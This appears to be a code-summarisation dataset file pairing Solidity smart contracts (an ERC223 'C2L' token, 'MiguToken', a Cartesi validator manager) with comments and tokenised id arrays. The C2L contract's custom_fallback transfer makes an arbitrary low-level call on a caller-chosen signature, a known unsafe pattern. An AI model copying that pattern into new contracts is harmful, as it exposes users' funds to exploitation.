transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); //reset newOwner to 0/null } } /* Interface for being ERC223 compliant -ERC223 is an industry standard for smart contracts */ contract ERC223 { function balanceOf(address who) public view returns (uint); function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } /* * Contract that is working with ERC223 tokens as a receiver for contract transfers */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } /* @author Nicholas Tuley @desc Contract for the C2L token that carries out all token-specific behaviors for the C2L token */ contract C2L is ERC223, Owned { //constants uint internal constant INITIAL_COIN_BALANCE = 21000000; //starting balance of 21 million coins //variables string public name = "C2L"; //name of currency string public symbol = "C2L"; uint8 public decimals = 0; mapping(address => bool) beingEdited; //mapping to prevent multiple edits of the same account occuring at the same time (reentrancy) uint public totalCoinSupply = INITIAL_COIN_BALANCE; //number of this coin in active existence mapping(address => uint) internal balances; //balances of users with this coin mapping(address => mapping(address => uint)) internal allowed; //map holding how much each user is allowed to transfer out of other addresses address[] addressLUT; //C2L contract constructor function C2L() public { totalCoinSupply = INITIAL_COIN_BALANCE; balances[owner] = totalCoinSupply; updateAddresses(owner); } //getter methods for basic contract info function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } /* @return the total supply of this coin */ function totalSupply() public view returns (uint256 _supply) { return totalCoinSupply; } //toggle beingEdited status of this account function setEditedTrue(address _subject) private { beingEdited[_subject] = true; } function setEditedFalse(address _subject) private { beingEdited[_subject] = false; } /* get the balance of a given user @param tokenOwner the address of the user account being queried @return the balance of the given account */ function balanceOf(address who) public view returns (uint) { return balances[who]; } /* Check if the given address is a contract */ function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } /* owner mints new coins @param amount The number of coins to mint @condition -the sender of this message must be the owner/minter/creator of this contract */ function mint(uint amount) public onlyOwner { require(beingEdited[owner] != true); setEditedTrue(owner); totalCoinSupply = SafeMath.add(totalCoinSupply, amount); balances[owner] = SafeMath.add(balances[owner], amount); setEditedFalse(owner); } /* transfer tokens to a user from the msg sender @param _to The address of the user coins are being sent to @param _value The number of coins to send @param _data The msg data for this transfer @param _custom_fallback A custom fallback function for this transfer @conditions: -coin sender must have enough coins to carry out transfer -the balances of the sender and receiver of the tokens must not be being edited by another transfer at the same time @return True if execution of transfer is successful, False otherwise */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { if(isContract(_to)) { require(beingEdited[_to] != true && beingEdited[msg.sender] != true); //make sure the sender has enough coins to transfer require (balances[msg.sender] >= _value); setEditedTrue(_to); setEditedTrue(msg.sender); //transfer the coins balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); emit Transfer(msg.sender, _to, _value, _data); //log the transfer setEditedFalse(_to); setEditedFalse(msg.sender); updateAddresses(_to); updateAddresses(msg.sender); return true; } else { return transferToAddress(_to, _value, _data); } } /* Carry out transfer of tokens between accounts @param _to The address of the user coins are being sent to @param _value The number of coins to send @param _data The msg data for this transfer @conditions: -coin sender must have enough coins to carry out transfer -the balances of the sender and receiver of the tokens must not be being edited by another transfer at the same time @return True if execution of transfer is successful, False otherwise */ function transfer(address _to, uint _value, bytes _data) public returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /* Backwards compatible transfer function to satisfy ERC20 */ function transfer(address _to, uint _value) public returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //transfer function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(beingEdited[_to] != true && beingEdited[msg.sender] != true); require (balanceOf(msg.sender) >= _value); setEditedTrue(_to); setEditedTrue(msg.sender); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); emit Transfer(msg.sender, _to, _value, _data); setEditedFalse(_to); setEditedFalse(msg.sender); updateAddresses(_to); updateAddresses(msg.sender); return true; } //transfer function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(beingEdited[_to] != true && beingEdited[msg.sender] != true); require (balanceOf(msg.sender) >= _value); setEditedTrue(_to); setEditedTrue(msg.sender); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); setEditedFalse(_to); setEditedFalse(msg.sender); updateAddresses(_to); updateAddresses(msg.sender); return true; } /* update the addressLUT list of addresses by checking if the address is in the list already, and if not, add the address to the list @param _lookup The address to check if it is in the list */ function updateAddresses(address _lookup) private { for(uint i = 0; i < addressLUT.length; i++) { if(addressLUT[i] == _lookup) return; } addressLUT.push(_lookup); } //default, fallback function function () public payable { } //self-destruct function for this contract function killCoin() public onlyOwner { selfdestruct(owner); } }
toggle beingEdited status of this account
function setEditedTrue(address _subject) private { beingEdited[_subject] = true; }
12,171,827
[ 1, 14401, 3832, 4666, 329, 1267, 434, 333, 2236, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 444, 4666, 329, 5510, 12, 2867, 389, 7857, 13, 3238, 288, 203, 565, 3832, 4666, 329, 63, 67, 7857, 65, 273, 638, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0x1770be2455d7563ec0466a4b182a3fae5e62c7cf //Contract name: MiguToken //Balance: 0 Ether //Verification Date: 2/11/2018 //Transacion Count: 1 // CODE STARTS HERE pragma solidity ^0.4.16; //Base class of token-owner contract Ownable { address public owner; //owner's address function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } /* * Funtion: Transfer owner's authority * Type:Public and onlyOwner * Parameters: @newOwner: address of newOwner */ function transferOwnership(address newOwner) onlyOwner public{ if (newOwner != address(0)) { owner = newOwner; } } function kill() onlyOwner public{ selfdestruct(owner); } } //Announcement of an interface for recipient approving interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData)public; } contract MiguToken is Ownable{ //===================public variables definition start================== string public name; //Name of your Token string public symbol; //Symbol of your Token uint8 public decimals = 18; //Decimals of your Token uint256 public totalSupply; //Maximum amount of Token supplies //define dictionaries of balance mapping (address => uint256) public balanceOf; //Announce the dictionary of account's balance mapping (address => mapping (address => uint256)) public allowance; //Announce the dictionary of account's available balance //===================public variables definition end================== //===================events definition start================== event Transfer(address indexed from, address indexed to, uint256 value); //Event on blockchain which notify client //===================events definition end================== //===================Contract Initialization Sequence Definition start=================== function MiguToken ( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } //===================Contract Initialization Sequence definition end=================== //===================Contract behavior & funtions definition start=================== /* * Funtion: Transfer funtions * Type:Internal * Parameters: @_from: address of sender's account @_to: address of recipient's account @_value:transaction amount */ function _transfer(address _from, address _to, uint _value) internal { //Fault-tolerant processing require(_to != 0x0); // require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); //Execute transaction uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); //Verify transaction assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /* * Funtion: Transfer tokens * Type:Public * Parameters: @_to: address of recipient's account @_value:transaction amount */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /* * Funtion: Transfer tokens from other address * Type:Public * Parameters: @_from: address of sender's account @_to: address of recipient's account @_value:transaction amount */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); //Allowance verification allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /* * Funtion: Approve usable amount for an account * Type:Public * Parameters: @_spender: address of spender's account @_value: approve amount */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* * Funtion: Approve usable amount for other address and then notify the contract * Type:Public * Parameters: @_spender: address of other account @_value: approve amount @_extraData:additional information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /* * Funtion: Transfer owner's authority and account balance * Type:Public and onlyOwner * Parameters: @newOwner: address of newOwner */ function transferOwnershipWithBalance(address newOwner) onlyOwner public{ if (newOwner != address(0)) { _transfer(owner,newOwner,balanceOf[owner]); owner = newOwner; } } //===================Contract behavior & funtions definition end=================== }
Decimals of your Token
uint8 public decimals = 18;
14,098,491
[ 1, 31809, 434, 3433, 3155, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 28, 1071, 15105, 273, 6549, 31, 6862, 6862, 6862, 1082, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/97/0x563024b8C444Fb63B42A3da4D704CC1057473D5e/sources/TRQB.sol
* @notice Update base URI @param _baseTokenURI the new base URI/
function setBaseURI(string memory _baseTokenURI) external onlyOwner { baseTokenURI = _baseTokenURI; }
3,294,810
[ 1, 1891, 1026, 3699, 225, 389, 1969, 1345, 3098, 326, 394, 1026, 3699, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 26435, 3098, 12, 1080, 3778, 389, 1969, 1345, 3098, 13, 3903, 1338, 5541, 288, 203, 3639, 1026, 1345, 3098, 273, 389, 1969, 1345, 3098, 31, 377, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Copyright 2021 Cartesi Pte. Ltd. // SPDX-License-Identifier: Apache-2.0 // Licensed under the Apache License, Version 2.0 (the "License"); you may not use // this file except in compliance with the License. You may obtain a copy of the // License at http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software distributed // under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR // CONDITIONS OF ANY KIND, either express or implied. See the License for the // specific language governing permissions and limitations under the License. /// @title Validator Manager Implementation pragma solidity ^0.8.0; import "./ValidatorManager.sol"; contract ValidatorManagerImpl is ValidatorManager { address immutable descartesV2; // descartes 2 contract using this validator bytes32 currentClaim; // current claim - first claim of this epoch address payable[] validators; // current validators // A bit set for each validator that agrees with current claim, // on their respective positions uint32 claimAgreementMask; // Every validator who should approve (in order to reach consensus) will have a one set on this mask // This mask is updated if a validator is added or removed uint32 consensusGoalMask; // @notice functions modified by onlyDescartesV2 will only be executed if // they're called by DescartesV2 contract, otherwise it will throw an exception modifier onlyDescartesV2 { require( msg.sender == descartesV2, "Only descartesV2 can call this function" ); _; } // @notice populates validators array and creates a consensus mask // @params _descartesV2 address of descartes contract // @params _validators initial validator set // @dev validators have to be unique, if the same validator is added twice // consensus will never be reached constructor(address _descartesV2, address payable[] memory _validators) { descartesV2 = _descartesV2; validators = _validators; // create consensus goal, represents the scenario where all // all validators claimed and agreed consensusGoalMask = updateConsensusGoalMask(); } // @notice called when a claim is received by descartesv2 // @params _sender address of sender of that claim // @params _claim claim received by descartesv2 // @return result of claim, Consensus | NoConflict | Conflict // @return [currentClaim, conflicting claim] if there is Conflict // [currentClaim, bytes32(0)] if there is Consensus // [bytes32(0), bytes32(0)] if there is NoConflcit // @return [claimer1, claimer2] if there is Conflcit // [claimer1, address(0)] if there is Consensus // [address(0), address(0)] if there is NoConflcit function onClaim(address payable _sender, bytes32 _claim) public override onlyDescartesV2 returns ( Result, bytes32[2] memory, address payable[2] memory ) { require(_claim != bytes32(0), "claim cannot be 0x00"); require(isAllowed(_sender), "_sender was not allowed to claim"); // cant return because a single claim might mean consensus if (currentClaim == bytes32(0)) { currentClaim = _claim; } if (_claim != currentClaim) { return emitClaimReceivedAndReturn( Result.Conflict, [currentClaim, _claim], [getClaimerOfCurrentClaim(), _sender] ); } claimAgreementMask = updateClaimAgreementMask(_sender); return isConsensus(claimAgreementMask, consensusGoalMask) ? emitClaimReceivedAndReturn( Result.Consensus, [_claim, bytes32(0)], [_sender, payable(0)] ) : emitClaimReceivedAndReturn( Result.NoConflict, [bytes32(0), bytes32(0)], [payable(0), payable(0)] ); } // @notice called when a dispute ends in descartesv2 // @params _winner address of dispute winner // @params _loser address of dispute loser // @returns result of dispute being finished function onDisputeEnd( address payable _winner, address payable _loser, bytes32 _winningClaim ) public override onlyDescartesV2 returns ( Result, bytes32[2] memory, address payable[2] memory ) { // remove validator also removes validator from both bitmask ( claimAgreementMask, consensusGoalMask ) = removeFromValidatorSetAndBothBitmasks(_loser); if (_winningClaim == currentClaim) { // first claim stood, dont need to update the bitmask return isConsensus(claimAgreementMask, consensusGoalMask) ? emitDisputeEndedAndReturn( Result.Consensus, [_winningClaim, bytes32(0)], [_winner, payable(0)] ) : emitDisputeEndedAndReturn( Result.NoConflict, [bytes32(0), bytes32(0)], [payable(0), payable(0)] ); } // if first claim lost, and other validators have agreed with it // there is a new dispute to be played if (claimAgreementMask != 0) { return emitDisputeEndedAndReturn( Result.Conflict, [currentClaim, _winningClaim], [getClaimerOfCurrentClaim(), _winner] ); } // else there are no valdiators that agree with losing claim // we can update current claim and check for consensus in case // the winner is the only validator left currentClaim = _winningClaim; claimAgreementMask = updateClaimAgreementMask(_winner); return isConsensus(claimAgreementMask, consensusGoalMask) ? emitDisputeEndedAndReturn( Result.Consensus, [_winningClaim, bytes32(0)], [_winner, payable(0)] ) : emitDisputeEndedAndReturn( Result.NoConflict, [bytes32(0), bytes32(0)], [payable(0), payable(0)] ); } // @notice called when a new epoch starts // @return current claim function onNewEpoch() public override onlyDescartesV2 returns (bytes32) { bytes32 tmpClaim = currentClaim; // clear current claim currentClaim = bytes32(0); // clear validator agreement bit mask claimAgreementMask = 0; emit NewEpoch(tmpClaim); return tmpClaim; } // @notice get agreement mask // @return current state of agreement mask function getCurrentAgreementMask() public view returns (uint32) { return claimAgreementMask; } // @notice get consensus goal mask // @return current consensus goal mask function getConsensusGoalMask() public view returns (uint32) { return consensusGoalMask; } // @notice get current claim // @return current claim function getCurrentClaim() public view override returns (bytes32) { return currentClaim; } // INTERNAL FUNCTIONS // @notice emits dispute ended event and then return // @param _result to be emitted and returned // @param _claims to be emitted and returned // @param _validators to be emitted and returned // @dev this function existis to make code more clear/concise function emitDisputeEndedAndReturn( Result _result, bytes32[2] memory _claims, address payable[2] memory _validators ) internal returns ( Result, bytes32[2] memory, address payable[2] memory ) { emit DisputeEnded(_result, _claims, _validators); return (_result, _claims, _validators); } // @notice emits claim received event and then return // @param _result to be emitted and returned // @param _claims to be emitted and returned // @param _validators to be emitted and returned // @dev this function existis to make code more clear/concise function emitClaimReceivedAndReturn( Result _result, bytes32[2] memory _claims, address payable[2] memory _validators ) internal returns ( Result, bytes32[2] memory, address payable[2] memory ) { emit ClaimReceived(_result, _claims, _validators); return (_result, _claims, _validators); } // @notice get one of the validators that agreed with current claim // @return validator that agreed with current claim function getClaimerOfCurrentClaim() internal view returns (address payable) { require( claimAgreementMask != 0, "No validators agree with current claim" ); // TODO: we are always getting the first validator // on the array that agrees with the current claim to enter a dispute // should this be random? for (uint256 i = 0; i < validators.length; i++) { if (claimAgreementMask & (1 << i) == (2**i)) { return validators[i]; } } revert("Agreeing validator not found"); } // @notice updates the consensus goal mask // @return new consensus goal mask function updateConsensusGoalMask() internal view returns (uint32) { // consensus goal is a number where // all bits related to validators are turned on uint32 consensusMask = (uint32(2)**uint32(validators.length)) - uint32(1); // the optimistc assumption is that validators getting kicked out // a rare event. So we save gas by starting with the optimistic scenario // and turning the bits off for removed validators for (uint32 i = 0; i < validators.length; i++) { if (validators[i] == address(0)) { uint32 zeroMask = ~(uint32(1) << i); consensusMask = consensusMask & zeroMask; } } return consensusMask; } // @notice updates mask of validators that agreed with current claim // @params _sender address that of validator that will be included in mask // @return new claim agreement mask function updateClaimAgreementMask(address payable _sender) internal view returns (uint32) { uint32 tmpClaimAgreement = claimAgreementMask; for (uint32 i = 0; i < validators.length; i++) { if (_sender == validators[i]) { tmpClaimAgreement = (tmpClaimAgreement | (uint32(1) << i)); break; } } return tmpClaimAgreement; } // @notice removes a validator // @params address of validator to be removed // @returns new claim agreement bitmask // @returns new consensus goal bitmask function removeFromValidatorSetAndBothBitmasks(address _validator) internal returns (uint32, uint32) { uint32 newClaimAgreementMask; uint32 newConsensusGoalMask; // put address(0) in validators position // removes validator from claim agreement bitmask // removes validator from consensus goal mask for (uint32 i = 0; i < validators.length; i++) { if (_validator == validators[i]) { validators[i] = payable(0); uint32 zeroMask = ~(uint32(1) << i); newClaimAgreementMask = claimAgreementMask & zeroMask; newConsensusGoalMask = consensusGoalMask & zeroMask; break; } } return (newClaimAgreementMask, newConsensusGoalMask); } function isAllowed(address _sender) internal view returns (bool) { for (uint256 i = 0; i < validators.length; i++) { if (_sender == validators[i]) return true; } return false; } function isConsensus(uint32 _claimAgreementMask, uint32 _consensusGoalMask) internal pure returns (bool) { return _claimAgreementMask == _consensusGoalMask; } }
@notice get consensus goal mask @return current consensus goal mask
function getConsensusGoalMask() public view returns (uint32) { return consensusGoalMask; }
5,401,556
[ 1, 588, 18318, 17683, 3066, 327, 783, 18318, 17683, 3066, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
